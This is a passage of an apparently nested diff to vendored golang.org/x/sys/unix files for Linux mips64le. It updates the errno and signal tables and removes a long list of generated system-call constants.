-+ {87, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {88, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {89, "ENOSYS", "function not implemented"},
-+ {90, "ELOOP", "too many levels of symbolic links"},
-+ {91, "ERESTART", "interrupted system call should be restarted"},
-+ {92, "ESTRPIPE", "streams pipe error"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "protocol not available"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "ENOTSUP", "operation not supported"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection on reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {135, "EUCLEAN", "structure needs cleaning"},
-+ {137, "ENOTNAM", "not a XENIX named type file"},
-+ {138, "ENAVAIL", "no XENIX semaphores available"},
-+ {139, "EISNAM", "is a named type file"},
-+ {140, "EREMOTEIO", "remote I/O error"},
-+ {141, "EINIT", "unknown error 141"},
-+ {142, "EREMDEV", "unknown error 142"},
-+ {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale file handle"},
-+ {158, "ECANCELED", "operation canceled"},
-+ {159, "ENOMEDIUM", "no medium found"},
-+ {160, "EMEDIUMTYPE", "wrong medium type"},
-+ {161, "ENOKEY", "required key not available"},
-+ {162, "EKEYEXPIRED", "key has expired"},
-+ {163, "EKEYREVOKED", "key has been revoked"},
-+ {164, "EKEYREJECTED", "key was rejected by service"},
-+ {165, "EOWNERDEAD", "owner died"},
-+ {166, "ENOTRECOVERABLE", "state not recoverable"},
-+ {167, "ERFKILL", "operation not possible due to RF-kill"},
-+ {168, "EHWPOISON", "memory page has hardware error"},
-+ {1133, "EDQUOT", "disk quota exceeded"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "user defined signal 1",
-- 17: "user defined signal 2",
-- 18: "child exited",
-- 19: "power failure",
-- 20: "window changed",
-- 21: "urgent I/O condition",
-- 22: "I/O possible",
-- 23: "stopped (signal)",
-- 24: "stopped",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual timer expired",
-- 29: "profiling timer expired",
-- 30: "CPU time limit exceeded",
-- 31: "file size limit exceeded",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user defined signal 1"},
-+ {17, "SIGUSR2", "user defined signal 2"},
-+ {18, "SIGCHLD", "child exited"},
-+ {19, "SIGPWR", "power failure"},
-+ {20, "SIGWINCH", "window changed"},
-+ {21, "SIGURG", "urgent I/O condition"},
-+ {22, "SIGIO", "I/O possible"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual timer expired"},
-+ {29, "SIGPROF", "profiling timer expired"},
-+ {30, "SIGXCPU", "CPU time limit exceeded"},
-+ {31, "SIGXFSZ", "file size limit exceeded"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go
-index 2310beeb..e758b61e 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go
-@@ -3,7 +3,7 @@
-
- // +build mips64le,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,489 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x40081270
-- BLKBSZSET = 0x80081271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40081272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x80
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0xe
-- F_GETLK64 = 0xe
-- F_GETOWN = 0x17
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x18
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x100
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x80
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
